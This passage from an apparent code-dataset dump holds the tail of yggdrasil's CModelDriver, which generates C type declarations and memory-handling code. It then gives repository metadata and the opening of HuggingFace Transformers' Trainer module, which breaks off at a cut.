(('shape_' + x['name']) in io_map)): x['ndim_var'] = 'ndim_' + x['name'] x['shape_var'] = 'shape_' + x['name'] x['datatype']['type'] = 'ndarray' elif 'shape' in x: x['datatype']['shape'] = [ int(float(s.strip('[]'))) for s in x.pop('shape').split('][')] assert(x['datatype']['subtype'] in _valid_types) if len(x['datatype']['shape']) == 1: x['datatype']['length'] = x['datatype'].pop( 'shape')[0] x['datatype']['type'] = '1darray' else: x['datatype']['type'] = 'ndarray' return out @classmethod def update_io_from_function(cls, model_file, model_function, inputs=[], outputs=[], contents=None, outputs_in_inputs=None): flag_var = super(CModelDriver, cls).update_io_from_function( model_file, model_function, inputs=inputs, outputs=outputs, contents=contents, outputs_in_inputs=outputs_in_inputs) # Add length_vars if missing for use by yggdrasil for x in inputs: for v in x['vars']: if cls.requires_length_var(v) and (not v.get('length_var', False)): v['length_var'] = {'name': v['name'] + '_length', 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True, 'dependent': True} elif cls.requires_shape_var(v): if not (v.get('ndim_var', False) and v.get('shape_var', False)): # pragma: debug raise RuntimeError("Uncomment logic that follows.") # if not v.get('ndim_var', False): # v['ndim_var'] = { # 'name': v['name'] + '_ndim', # 'datatype': {'type': 'uint', # 'precision': 64}, # 'is_length_var': True, # 'dependent': True} # if not v.get('shape_var', False): # v['shape_var'] = { # 'name': v['name'] + '_ndim', # 'datatype': {'type': '1darray', # 'subtype': 'uint', # 'precision': 64}, # 'is_length_var': True, # 'dependent': True} for x in outputs: for v in x['vars']: if cls.requires_length_var(v) and (not v.get('length_var', False)): if v['datatype']['type'] in ['1darray', 'ndarray']: # pragma: debug raise RuntimeError("Length must be defined for arrays.") elif v['datatype'].get('subtype', v['datatype']['type']) == 'bytes': v['length_var'] = 'strlen(%s)' % v['name'] else: v['length_var'] = 'strlen4(%s)' % v['name'] elif (cls.requires_shape_var(v) and not (v.get('ndim_var', False) and v.get('shape_var', False))): # pragma: debug raise RuntimeError("Shape must be defined for ND arrays.") # Flag input variables for reallocation for x in inputs: allows_realloc = [cls.allows_realloc(v) for v in x['vars']] if all(allows_realloc): for v in x['vars']: if (((v['native_type'] not in ['char*', 'string_t', 'bytes_t', 'unicode_t']) and (not v.get('is_length_var', False)) and (v['datatype']['type'] not in ['any', 'object', 'array', 'schema', 'instance', '1darray', 'ndarray']) and (cls.function_param['recv_function'] == cls.function_param['recv_heap']))): v['allow_realloc'] = True for x in inputs + outputs: if x['datatype']['type'] == 'array': nvars_items = len(x['datatype'].get('items', [])) nvars = sum([(not ix.get('is_length_var', False)) for ix in x['vars']]) if nvars_items == nvars: x['use_generic'] = False else: x['use_generic'] = True return flag_var @classmethod def input2output(cls, var): out = super(CModelDriver, cls).input2output(var) if out.get('ptr', ''): assert(out['native_type'].endswith('*')) out['ptr'] = out['ptr'][:-1] out['native_type'] = out['native_type'][:-1] out['datatype'] = cls.get_json_type(out['native_type']) if (((out['datatype']['type'] == '1darray') and var.get('ndim_var', False) and var.get('shape_var', False))): out['datatype']['type'] = 'ndarray' return out @classmethod def output2input(cls, var, in_definition=True): out = super(CModelDriver, cls).output2input(var) if isinstance(var, dict): if in_definition: out = dict(out, name='*' + out['name']) if ((('shape' in out.get('datatype', {})) or ('length' in out.get('datatype', {})))): out['name'] = '(%s)' % out['name'] else: out = dict(out, name='&' + out['name']) if ('shape' in out.get('datatype', {})) and (not platform._is_win): out['name'] += len(out['datatype']['shape']) * '[0]' return out @classmethod def allows_realloc(cls, var): if isinstance(var, dict): datatype = var.get('datatype', var) if ('shape' in datatype) or ('length' in datatype): return False return True @classmethod def requires_length_var(cls, var): if ((isinstance(var, dict) and ((cls.get_native_type(**var) in ['char*', 'string_t', 'bytes_t', 'unicode_t']) or var.get('datatype', {}).get( 'type', var.get('type', None)) in ['1darray']) and (not var.get('is_length_var', False)) and ('length' not in var.get('datatype', {})))): return True return False @classmethod def requires_shape_var(cls, var): if ((isinstance(var, dict) and (var.get('datatype', {}).get( 'type', var.get('type', None)) == 'ndarray') and (not var.get('is_length_var', False)) and ('shape' not in var.get('datatype', {})))): return True return False @classmethod def get_native_type(cls, **kwargs): out = super(CModelDriver, cls).get_native_type(**kwargs) if not ((out == '*') or ('X' in out) or (out == 'double')): return out from yggdrasil.metaschema.datatypes import get_type_class json_type = kwargs.get('datatype', kwargs.get('type', 'bytes')) if isinstance(json_type, str): json_type = {'type': json_type} assert(isinstance(json_type, dict)) json_type = get_type_class(json_type['type']).normalize_definition( json_type) if out == '*': json_subtype = copy.deepcopy(json_type) json_subtype['type'] = json_subtype.pop('subtype') out = cls.get_native_type(datatype=json_subtype) if ('length' not in json_type) and ('shape' not in json_type): out += '*' elif 'X' in out: precision = json_type['precision'] if json_type['type'] == 'complex': precision_map = {64: 'float', 128: 'double', 256: 'long_double'} if precision in precision_map: out = out.replace('X', precision_map[precision]) else: # pragma: debug raise ValueError("Unsupported precision for complex types: %d" % precision) else: out = out.replace('X', str(precision)) elif out == 'double': if json_type['precision'] == 32: out = 'float' return out.replace(' ', '') @classmethod def get_json_type(cls, native_type): out = {} regex_var = r'(?P<type>.+?(?P<precision>\d*)(?:_t)?)\s*(?P<pointer>\**)' grp = re.fullmatch(regex_var, native_type).groupdict() if grp.get('precision', False): out['precision'] = int(grp['precision']) grp['type'] = grp['type'].replace(grp['precision'], 'X') if grp['type'] == 'char': out['type'] = 'bytes' out['precision'] = 0 elif grp['type'] == 'void': out['type'] = 'null' elif grp['type'].startswith('complex'): out['type'] = 'complex' precision_map = {'long_double': 256, 'double': 128, 'float': 64} prec_str = grp['type'].split('complex_')[-1] if prec_str in precision_map: out['precision'] = precision_map[prec_str] else: # pragma: debug raise ValueError("Cannot determine precision for complex type '%s'" % grp['type']) else: if grp['type'] == 'double': out['precision'] = 8 * 8 elif grp['type'] == 'float': grp['type'] = 'double' out['precision'] = 4 * 8 elif grp['type'] in ['int', 'uint']: grp['type'] += 'X_t' out['precision'] = 8 * np.dtype('intc').itemsize elif grp['type'] in ['bytes_t', 'string_t', 'unicode_t']: out['precision'] = 0 out['type'] = super(CModelDriver, cls).get_json_type(grp['type']) if grp.get('pointer', False): nptr = len(grp['pointer']) if grp['type'] in ['char', 'void']: nptr -= 1 if nptr > 0: out['subtype'] = out['type'] out['type'] = '1darray' if out['type'] in _valid_types: out['subtype'] = out['type'] out['type'] = 'scalar' return out @classmethod def format_function_param(cls, key, default=None, **kwargs): if (key == 'import') and ('filename' in kwargs): kwargs['filename'] = os.path.basename(kwargs['filename']) elif (key == 'interface') and ('interface_library' in kwargs): kwargs['interface_library'] = os.path.basename( kwargs['interface_library']).replace('.c', '.h') kwargs['default'] = default return super(CModelDriver, cls).format_function_param(key, **kwargs) @classmethod def write_model_function_call(cls, model_function, flag_var, inputs, outputs, **kwargs): new_inputs = copy.deepcopy(inputs) for x in new_inputs: for v in x['vars']: if v.get('allow_realloc', False): v['name'] = '*' + v['name'] return super(CModelDriver, cls).write_model_function_call( model_function, flag_var, new_inputs, outputs, **kwargs) @classmethod def write_model_recv(cls, channel, recv_var, **kwargs): recv_var_str = recv_var if not isinstance(recv_var, str): recv_var_par = cls.channels2vars(recv_var) allows_realloc = [cls.allows_realloc(v) for v in recv_var_par] if all(allows_realloc): kwargs['alt_recv_function'] = cls.function_param['recv_heap'] else: kwargs['alt_recv_function'] = cls.function_param['recv_stack'] recv_var_str = cls.prepare_output_variables( recv_var_par, in_inputs=cls.outputs_in_inputs, for_yggdrasil=True) return super(CModelDriver, cls).write_model_recv(channel, recv_var_str, **kwargs) @classmethod def write_declaration(cls, var, **kwargs): if isinstance(var, str): # pragma: no cover var = {'name': var} type_name = cls.get_native_type(**var) if var.get('allow_realloc', False): type_name += '*' var = dict(var, native_type=type_name) if ((type_name.endswith('*') or (type_name in ['bytes_t', 'string_t', 'unicode_t']))): kwargs.get('requires_freeing', []).append(var) kwargs.setdefault('value', 'NULL') elif var.get('is_length_var', False): kwargs.setdefault('value', '0') var = dict(var, name=cls.get_name_declare(var)) out = super(CModelDriver, cls).write_declaration(var, **kwargs) for k in ['length', 'ndim', 'shape']: if ((isinstance(var.get(k + '_var', None), dict) and var[k + '_var'].get('dependent', False))): out += cls.write_declaration(var[k + '_var']) return out @classmethod def get_name_declare(cls, var): if isinstance(var, str): # pragma: no cover return var assert(isinstance(var, dict)) out = var['name'] if 'length' in var.get('datatype', {}): out += '[%d]' % var['datatype']['length'] elif 'shape' in var.get('datatype', {}): for s in var['datatype']['shape']: out += '[%d]' % s return out @classmethod def write_free(cls, var, **kwargs): out = [] if isinstance(var, str): var = {'name': var} if ((isinstance(var.get('datatype', False), dict) and (('free_%s' % var['datatype']['type']) in cls.function_param))): if var.get('allow_realloc', False): out += super(CModelDriver, cls).write_free( var, **kwargs) var = {'name': var['name']} else: var = dict(var, name=('&' + var['name'])) out += super(CModelDriver, cls).write_free(var, **kwargs) return out @classmethod def prepare_variables(cls, vars_list, in_definition=False, for_yggdrasil=False): if not isinstance(vars_list, list): vars_list = [vars_list] new_vars_list = [] for x in vars_list: if isinstance(x, str): new_vars_list.append(x) else: assert(isinstance(x, dict)) if for_yggdrasil and x.get('is_length_var', False): continue new_vars_list.append(x) if for_yggdrasil: for k in ['length', 'ndim', 'shape']: kvar = k + '_var' if x.get(kvar, False): if ((x['name'].startswith('*') or x['name'].startswith('&'))): new_vars_list.append( dict(x[kvar], name=x['name'][0] + x[kvar]['name'])) else: new_vars_list.append(x[kvar]) if in_definition: new_vars_list2 = [] for x in new_vars_list: if x['name'].startswith('*'): name = '%s%s* %s' % tuple( [cls.get_native_type(**x)] + x['name'].rsplit('*', 1)) else: name = '%s %s' % (cls.get_native_type(**x), x['name']) new_var = dict(x, name=name) new_var['name'] = cls.get_name_declare(new_var) new_vars_list2.append(new_var) new_vars_list = new_vars_list2 return super(CModelDriver, cls).prepare_variables( new_vars_list, in_definition=in_definition, for_yggdrasil=for_yggdrasil) @classmethod def prepare_output_variables(cls, vars_list, in_definition=False, in_inputs=False, for_yggdrasil=False): if not in_inputs: # If the output is a True output and not passed as an input # parameter, then the output should not include the type # information that is added if in_definition is True. in_definition = False return super(CModelDriver, cls).prepare_output_variables( vars_list, in_definition=in_definition, in_inputs=in_inputs, for_yggdrasil=for_yggdrasil) @classmethod def write_print_output_var(cls, var, in_inputs=False, **kwargs): if in_inputs and (cls.language != 'c++'): if isinstance(var, dict): var = dict(var, name='%s[0]' % var['name']) else: var = '%s[0]' % var return super(CModelDriver, cls).write_print_output_var( var, in_inputs=in_inputs, **kwargs) @classmethod def write_function_def(cls, function_name, dont_add_lengths=False, use_length_prefix=False, **kwargs): if not dont_add_lengths: for io in ['input', 'output']: if io + '_var' in kwargs: io_var = cls.parse_var_definition( io + 's', kwargs.pop(io + '_var')) else: io_var = kwargs.get(io + 's', []) for x in io_var: if use_length_prefix: v_length = 'length_' + x['name'] v_ndim = 'ndim_' + x['name'] v_shape = 'shape_' + x['name'] else: v_length = x['name'] + '_length' v_ndim = x['name'] + '_ndim' v_shape = x['name'] + '_shape' if x.get('is_length_var', False): continue if cls.requires_length_var(x): if not x.get('length_var', False): x['length_var'] = { 'name': v_length, 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True} io_var.append(x['length_var']) elif cls.requires_shape_var(x): if not x.get('ndim_var', False): x['ndim_var'] = { 'name': v_ndim, 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True} io_var.append(x['ndim_var']) if not x.get('shape_var', False): x['shape_var'] = { 'name': v_shape, 'datatype': {'type': '1darray', 'subtype': 'uint', 'precision': 64}, 'is_length_var': True} io_var.append(x['shape_var']) length_var = { 'name': v_length, 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True} kwargs['function_contents'] = ( cls.write_declaration(length_var) + kwargs.get('function_contents', [])) kwargs[io + 's'] = io_var output_type = None if kwargs.get('outputs_in_inputs', False): output_type = cls.get_native_type(datatype='flag') else: if 'output_var' in kwargs: kwargs['outputs'] = cls.parse_var_definition( 'outputs', kwargs.pop('output_var')) outputs = kwargs.get('outputs', []) nout = len(outputs) if nout == 0: output_type = 'void' elif nout == 1: output_type = cls.get_native_type(**(outputs[0])) else: # pragma: debug raise ValueError("C does not support more than one " "output variable.") kwargs['output_type'] = output_type return super(CModelDriver, cls).write_function_def( function_name, **kwargs) @classmethod def write_native_type_definition(cls, name, datatype, name_base=None, requires_freeing=None, no_decl=False, use_generic=False): out = [] fmt = None keys = {} if use_generic: keys['use_generic'] = 'true' else: keys['use_generic'] = 'false' typename = datatype['type'] if name_base is None: name_base = name if datatype['type'] == 'array': if 'items' in datatype: assert(isinstance(datatype['items'], list)) keys['nitems'] = len(datatype['items']) keys['items'] = '%s_items' % name_base fmt = ('create_dtype_json_array({nitems}, {items}, ' '{use_generic})') out += [('dtype_t** %s = ' '(dtype_t**)malloc(%d*sizeof(dtype_t*));') % (keys['items'], keys['nitems'])] for i, x in enumerate(datatype['items']): # Prevent recusion x_copy = copy.deepcopy(x) x_copy.pop('items', None) x_copy.pop('properties', None) out += cls.write_native_type_definition( '%s[%d]' % (keys['items'], i), x_copy, name_base=('%s_item%d' % (name_base, i)), requires_freeing=requires_freeing, no_decl=True, use_generic=use_generic) assert(isinstance(requires_freeing, list)) requires_freeing += [keys['items']] else: keys['use_generic'] = 'true' fmt = ('create_dtype_json_array(0, NULL, ' '{use_generic})') elif datatype['type'] == 'object': keys['use_generic'] = 'true' if 'properties' in datatype: assert(isinstance(datatype['properties'], dict)) keys['nitems'] = len(datatype['properties']) keys['keys'] = '%s_keys' % name_base keys['values'] = '%s_vals' % name_base fmt = ('create_dtype_json_object({nitems}, {keys}, ' '{values}, {use_generic})') out += [('dtype_t** %s = ' '(dtype_t**)malloc(%d*sizeof(dtype_t*));') % (keys['values'], keys['nitems']), ('char** %s = (char**)malloc(%d*sizeof(char*));') % (keys['keys'], keys['nitems'])] for i, (k, v) in enumerate(datatype['properties'].items()): # Prevent recusion v_copy = copy.deepcopy(v) v_copy.pop('items', None) v_copy.pop('properties', None) out += ['%s[%d] = \"%s\";' % (keys['keys'], i, k)] out += cls.write_native_type_definition( '%s[%d]' % (keys['values'], i), v_copy, name_base=('%s_prop%d' % (name_base, i)), requires_freeing=requires_freeing, no_decl=True, use_generic=use_generic) assert(isinstance(requires_freeing, list)) requires_freeing += [keys['values'], keys['keys']] else: fmt = ('create_dtype_json_object(0, NULL, NULL, ' '{use_generic})') elif datatype['type'] in ['ply', 'obj']: fmt = 'create_dtype_%s({use_generic})' % datatype['type'] elif datatype['type'] == '1darray': fmt = ('create_dtype_1darray(\"{subtype}\", {precision}, {length}, ' '\"{units}\", {use_generic})') for k in ['subtype', 'precision']: keys[k] = datatype[k] keys['length'] = datatype.get('length', '0') keys['units'] = datatype.get('units', '') elif datatype['type'] == 'ndarray': fmt = ('create_dtype_ndarray(\"{subtype}\", {precision},' ' {ndim}, {shape}, \"{units}\", {use_generic})') for k in ['subtype', 'precision']: keys[k] = datatype[k] if 'shape' in datatype: shape_var = '%s_shape' % name_base out += ['size_t %s[%d] = {%s};' % ( shape_var, len(datatype['shape']), ', '.join([str(s) for s in datatype['shape']]))] keys['ndim'] = len(datatype['shape']) keys['shape'] = shape_var fmt = fmt.replace('create_dtype_ndarray', 'create_dtype_ndarray_arr') else: keys['ndim'] = 0 keys['shape'] = 'NULL' keys['units'] = datatype.get('units', '') elif (typename == 'scalar') or (typename in _valid_types): fmt = ('create_dtype_scalar(\"{subtype}\", {precision}, ' '\"{units}\", {use_generic})') keys['subtype'] = datatype.get('subtype', datatype['type']) keys['units'] = datatype.get('units', '') if keys['subtype'] in ['bytes', 'string', 'unicode']: keys['precision'] = datatype.get('precision', 0) else: keys['precision'] = datatype['precision'] typename = 'scalar' elif datatype['type'] in ['boolean', 'null', 'number', 'integer', 'string']: fmt = 'create_dtype_default(\"{type}\", {use_generic})' keys['type'] = datatype['type'] elif (typename in ['class', 'function']): fmt = 'create_dtype_pyobj(\"{type}\", {use_generic})' keys['type'] = typename elif typename == 'instance': keys['use_generic'] = 'true' # fmt = 'create_dtype_pyinst(NULL, NULL)' fmt = 'create_dtype_empty({use_generic})' elif typename == 'schema': keys['use_generic'] = 'true' fmt = 'create_dtype_schema({use_generic})' elif typename == 'any': keys['use_generic'] = 'true' fmt = 'create_dtype_empty({use_generic})' else: # pragma: debug raise ValueError("Cannot create C version of type '%s'" % typename) def_line = '%s = %s;' % (name, fmt.format(**keys)) if not no_decl: def_line = 'dtype_t* ' + def_line out.append(def_line) return out @classmethod def write_channel_def(cls, key, datatype=None, requires_freeing=None, use_generic=False, **kwargs): out = [] if (datatype is not None) and ('{channel_type}' in cls.function_param[key]): kwargs['channel_type'] = '%s_type' % kwargs['channel'] out += cls.write_native_type_definition( kwargs['channel_type'], datatype, requires_freeing=requires_freeing, use_generic=use_generic) out += super(CModelDriver, cls).write_channel_def(key, datatype=datatype, **kwargs) return out @classmethod def write_assign_to_output(cls, dst_var, src_var, outputs_in_inputs=False, dont_add_lengths=False, use_length_prefix=False, **kwargs): out = [] if cls.requires_length_var(dst_var): src_var_length = None dst_var_length = None if isinstance(src_var, dict): src_var_length = src_var.get('length_var', None) if isinstance(dst_var, dict): dst_var_length = dst_var.get('length_var', None) if not dont_add_lengths: if src_var_length is None: if use_length_prefix: src_var_length = 'length_' + src_var['name'] else: src_var_length = src_var['name'] + '_length' if dst_var_length is None: if use_length_prefix: dst_var_length = 'length_' + dst_var['name'] else: dst_var_length = dst_var['name'] + '_length' out += cls.write_assign_to_output( dst_var_length, src_var_length, outputs_in_inputs=outputs_in_inputs) elif src_var_length is None: if ((dst_var['datatype']['type'] in ['1darray', 'ndarray'])): # pragma: debug raise RuntimeError("Length must be set in order " "to write array assignments.") elif (dst_var['datatype'].get('subtype', dst_var['datatype']['type']) in ['bytes']): src_var_length = '(strlen(%s)+1)' % src_var['name'] else: src_var_length = '(strlen4(%s)+1)' % src_var['name'] src_var_dtype = cls.get_native_type(**src_var) if src_var_dtype in ['bytes_t', 'unicode_t', 'string_t']: src_var_dtype = 'char*' src_var_dtype = src_var_dtype.rsplit('*', 1)[0] out += cls.write_assign_to_output( dst_var['name'], 'value', outputs_in_inputs=outputs_in_inputs, replacement=('{name} = ({native_type}*)realloc({name}, ' '{N}*sizeof({native_type}));'), native_type=src_var_dtype, N=src_var_length) kwargs.update(copy=True, native_type=src_var_dtype, N=src_var_length) elif cls.requires_shape_var(dst_var): if dont_add_lengths: # pragma: debug raise RuntimeError("Shape must be set in order " "to write ND array assignments.") # Dimensions src_var_ndim = None dst_var_ndim = None if isinstance(src_var, dict): src_var_ndim = src_var.get('ndim_var', None) if isinstance(dst_var, dict): dst_var_ndim = dst_var.get('ndim_var', None) if src_var_ndim is None: if use_length_prefix: src_var_ndim = 'ndim_' + src_var['name'] else: src_var_ndim = src_var['name'] + '_ndim' if dst_var_ndim is None: if use_length_prefix: dst_var_ndim = 'ndim_' + dst_var['name'] else: dst_var_ndim = dst_var['name'] + '_ndim' if isinstance(src_var_ndim, str): src_var_ndim = {'name': src_var_ndim, 'datatype': {'type': 'uint', 'precision': 64}} if isinstance(dst_var_ndim, str): dst_var_ndim = {'name': dst_var_ndim, 'datatype': {'type': 'uint', 'precision': 64}} out += cls.write_assign_to_output( dst_var_ndim, src_var_ndim, outputs_in_inputs=outputs_in_inputs) # Shape src_var_shape = None dst_var_shape = None if isinstance(src_var, dict): src_var_shape = src_var.get('shape_var', None) if isinstance(dst_var, dict): dst_var_shape = dst_var.get('shape_var', None) if src_var_shape is None: if use_length_prefix: src_var_shape = 'shape_' + src_var['name'] else: src_var_shape = src_var['name'] + '_shape' if dst_var_shape is None: if use_length_prefix: dst_var_shape = 'shape_' + dst_var['name'] else: dst_var_shape = dst_var['name'] + '_shape' if isinstance(src_var_shape, str): src_var_shape = {'name': src_var_shape, 'datatype': {'type': '1darray', 'subtype': 'uint', 'precision': 64}, 'length_var': src_var_ndim['name']} if isinstance(dst_var_shape, str): dst_var_shape = {'name': dst_var_shape, 'datatype': {'type': '1darray', 'subtype': 'uint', 'precision': 64}, 'length_var': dst_var_ndim['name']} out += cls.write_assign_to_output( dst_var_shape, src_var_shape, outputs_in_inputs=outputs_in_inputs, dont_add_lengths=True) src_var_dtype = cls.get_native_type(**src_var).rsplit('*', 1)[0] if use_length_prefix: src_var_length = 'length_' + src_var['name'] else: src_var_length = src_var['name'] + '_length' out += (('{length} = 1;\n' 'size_t cdim;\n' 'for (cdim = 0; cdim < {ndim}; cdim++) {{\n' ' {length} = {length}*{shape}[cdim];\n' '}}\n').format(length=src_var_length, ndim=src_var_ndim['name'], shape=src_var_shape['name'])).splitlines() out += cls.write_assign_to_output( dst_var['name'], 'value', outputs_in_inputs=outputs_in_inputs, replacement=('{name} = ({native_type}*)realloc({name}, ' '{N}*sizeof({native_type}));'), native_type=src_var_dtype, N=src_var_length) kwargs.update(copy=True, native_type=src_var_dtype, N=src_var_length) elif isinstance(dst_var, dict): if 'shape' in dst_var.get('datatype', {}): nele = 1 for s in dst_var['datatype']['shape']: nele *= s kwargs.update(copy=True, N=nele, native_type=dst_var['datatype']['subtype']) elif 'length' in dst_var.get('datatype', {}): kwargs.update(copy=True, N=dst_var['datatype']['length'], native_type=dst_var['datatype']['subtype']) if outputs_in_inputs and (cls.language != 'c++'): if isinstance(dst_var, dict): dst_var = dict(dst_var, name='%s[0]' % dst_var['name']) else: dst_var = '%s[0]' % dst_var if ((outputs_in_inputs and isinstance(dst_var, dict) and isinstance(dst_var['datatype'], dict) and ('copy_' + dst_var['datatype']['type'] in cls.function_param))): kwargs['copy'] = True out += super(CModelDriver, cls).write_assign_to_output( dst_var, src_var, outputs_in_inputs=outputs_in_inputs, **kwargs) return out
true
true
f73d7d000729389fe47de62071a43de71388f14f
83,677
py
Python
src/transformers/trainer.py
marcoabrate/transformers
3f77c26d74e1282955fefa8dfff2451e44f6d4a9
[ "Apache-2.0" ]
null
null
null
src/transformers/trainer.py
marcoabrate/transformers
3f77c26d74e1282955fefa8dfff2451e44f6d4a9
[ "Apache-2.0" ]
null
null
null
src/transformers/trainer.py
marcoabrate/transformers
3f77c26d74e1282955fefa8dfff2451e44f6d4a9
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2020-present the HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ The Trainer class, to easily train a 🤗 Transformers from scratch or finetune it on a new task. """ import collections import inspect import math import os import re import shutil import time import warnings from pathlib import Path from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Union # Integrations must be imported before ML frameworks: from .integrations import ( # isort: split default_hp_search_backend, get_reporting_integration_callbacks, hp_params, is_fairscale_available, is_optuna_available, is_ray_tune_available, run_hp_search_optuna, run_hp_search_ray, init_deepspeed, ) import numpy as np import torch from packaging import version from torch import nn from torch.utils.data.dataloader import DataLoader from torch.utils.data.dataset import Dataset from torch.utils.data.distributed import DistributedSampler from torch.utils.data.sampler import RandomSampler, SequentialSampler from .data.data_collator import DataCollator, DataCollatorWithPadding, default_data_collator from .file_utils import ( WEIGHTS_NAME, is_apex_available, is_datasets_available, is_in_notebook, is_sagemaker_distributed_available, is_torch_tpu_available, ) from .modeling_utils import PreTrainedModel from .models.auto.modeling_auto import MODEL_FOR_QUESTION_ANSWERING_MAPPING from .optimization import Adafactor, AdamW, get_scheduler from .tokenization_utils_base import PreTrainedTokenizerBase from .trainer_callback import ( CallbackHandler, DefaultFlowCallback, PrinterCallback, ProgressCallback, TrainerCallback, TrainerControl, TrainerState, ) from .trainer_pt_utils import ( DistributedLengthGroupedSampler, DistributedTensorGatherer, LabelSmoother, LengthGroupedSampler, SequentialDistributedSampler, distributed_broadcast_scalars, distributed_concat, nested_concat, nested_detach, nested_numpify, nested_xla_mesh_reduce, reissue_pt_warnings, ) from .trainer_utils import ( PREFIX_CHECKPOINT_DIR, BestRun, EvalPrediction, HPSearchBackend, PredictionOutput, TrainOutput, default_compute_objective, default_hp_space, set_seed, speed_metrics, ) from .training_args import ParallelMode, TrainingArguments from .utils import logging _is_native_amp_available = False DEFAULT_CALLBACKS = [DefaultFlowCallback] DEFAULT_PROGRESS_CALLBACK = ProgressCallback if is_in_notebook(): from .utils.notebook import NotebookProgressCallback DEFAULT_PROGRESS_CALLBACK = NotebookProgressCallback if is_apex_available(): from apex import amp if version.parse(torch.__version__) >= version.parse("1.6"): _is_native_amp_available = True from torch.cuda.amp import autocast if is_datasets_available(): import datasets if is_torch_tpu_available(): import torch_xla.core.xla_model as xm import torch_xla.debug.metrics as met import torch_xla.distributed.parallel_loader as pl if is_fairscale_available(): from fairscale.nn.data_parallel import ShardedDataParallel as ShardedDDP from fairscale.optim import OSS from fairscale.optim.grad_scaler import ShardedGradScaler if is_sagemaker_distributed_available(): import smdistributed.dataparallel.torch.distributed as dist from smdistributed.dataparallel.torch.parallel.distributed import DistributedDataParallel as DDP else: import torch.distributed as dist if TYPE_CHECKING: import optuna logger = logging.get_logger(__name__) def _model_unwrap(model: nn.Module) -> nn.Module: # since there could be multiple levels of wrapping, unwrap recursively if hasattr(model, "module"): return _model_unwrap(model.module) else: return model class Trainer: """ Trainer is a simple but feature-complete training and eval loop for PyTorch, optimized for 🤗 Transformers. Args: model (:class:`~transformers.PreTrainedModel` or :obj:`torch.nn.Module`, `optional`): The model to train, evaluate or use for predictions. If not provided, a ``model_init`` must be passed. .. note:: :class:`~transformers.Trainer` is optimized to work with the :class:`~transformers.PreTrainedModel` provided by the library. You can still use your own models defined as :obj:`torch.nn.Module` as long as they work the same way as the 🤗 Transformers models. args (:class:`~transformers.TrainingArguments`, `optional`): The arguments to tweak for training. Will default to a basic instance of :class:`~transformers.TrainingArguments` with the ``output_dir`` set to a directory named `tmp_trainer` in the current directory if not provided. data_collator (:obj:`DataCollator`, `optional`): The function to use to form a batch from a list of elements of :obj:`train_dataset` or :obj:`eval_dataset`. Will default to :func:`~transformers.default_data_collator` if no ``tokenizer`` is provided, an instance of :func:`~transformers.DataCollatorWithPadding` otherwise. train_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`): The dataset to use for training. If it is an :obj:`datasets.Dataset`, columns not accepted by the ``model.forward()`` method are automatically removed. eval_dataset (:obj:`torch.utils.data.dataset.Dataset`, `optional`): The dataset to use for evaluation. If it is an :obj:`datasets.Dataset`, columns not accepted by the ``model.forward()`` method are automatically removed. tokenizer (:class:`PreTrainedTokenizerBase`, `optional`): The tokenizer used to preprocess the data. If provided, will be used to automatically pad the inputs the maximum length when batching inputs, and it will be saved along the model to make it easier to rerun an interrupted training or reuse the fine-tuned model. model_init (:obj:`Callable[[], PreTrainedModel]`, `optional`): A function that instantiates the model to be used. If provided, each call to :meth:`~transformers.Trainer.train` will start from a new instance of the model as given by this function. The function may have zero argument, or a single one containing the optuna/Ray Tune trial object, to be able to choose different architectures according to hyper parameters (such as layer count, sizes of inner layers, dropout probabilities etc). compute_metrics (:obj:`Callable[[EvalPrediction], Dict]`, `optional`): The function that will be used to compute metrics at evaluation. Must take a :class:`~transformers.EvalPrediction` and return a dictionary string to metric values. callbacks (List of :obj:`~transformers.TrainerCallback`, `optional`): A list of callbacks to customize the training loop. Will add those to the list of default callbacks detailed in :doc:`here <callback>`. If you want to remove one of the default callbacks used, use the :meth:`Trainer.remove_callback` method. optimizers (:obj:`Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR`, `optional`): A tuple containing the optimizer and the scheduler to use. Will default to an instance of :class:`~transformers.AdamW` on your model and a scheduler given by :func:`~transformers.get_linear_schedule_with_warmup` controlled by :obj:`args`. Important attributes: - **model** -- Always points to the core model. If using a transformers model, it will be a :class:`~transformers.PreTrainedModel` subclass. - **model_wrapped** -- Always points to the most external model in case one or more other modules wrap the original model. This is the model that should be used for the forward pass. For example, under ``DeepSpeed``, the inner model is wrapped in ``DeepSpeed`` and then again in ``torch.nn.DistributedDataParallel``. If the inner model hasn't been wrapped, then ``self.model_wrapped`` is the same as ``self.model``. - **is_model_parallel** -- Whether or not a model has been switched to a model parallel mode (different from data parallelism, this means some of the model layers are split on different GPUs). """ def __init__( self, model: Union[PreTrainedModel, torch.nn.Module] = None, args: TrainingArguments = None, data_collator: Optional[DataCollator] = None, train_dataset: Optional[Dataset] = None, eval_dataset: Optional[Dataset] = None, tokenizer: Optional["PreTrainedTokenizerBase"] = None, model_init: Callable[[], PreTrainedModel] = None, compute_metrics: Optional[Callable[[EvalPrediction], Dict]] = None, callbacks: Optional[List[TrainerCallback]] = None, optimizers: Tuple[torch.optim.Optimizer, torch.optim.lr_scheduler.LambdaLR] = (None, None), ): if args is None: output_dir = "tmp_trainer" logger.info(f"No `TrainingArguments` passed, using `output_dir={output_dir}`.") args = TrainingArguments(output_dir=output_dir) self.args = args # Seed must be set before instantiating the model when using model set_seed(self.args.seed) self.hp_name = None self.deepspeed = None if model is None: if model_init is not None: self.model_init = model_init model = self.call_model_init() else: raise RuntimeError("`Trainer` requires either a `model` or `model_init` argument") else: if model_init is not None: warnings.warn( "`Trainer` requires either a `model` or `model_init` argument, but not both. " "`model_init` will overwrite your model when calling the `train` method. This will become a fatal error in the next release.", FutureWarning, ) self.model_init = model_init if hasattr(model, "is_parallelizable") and model.is_parallelizable and model.model_parallel: self.is_model_parallel = True else: self.is_model_parallel = False default_collator = default_data_collator if tokenizer is None else DataCollatorWithPadding(tokenizer) self.data_collator = 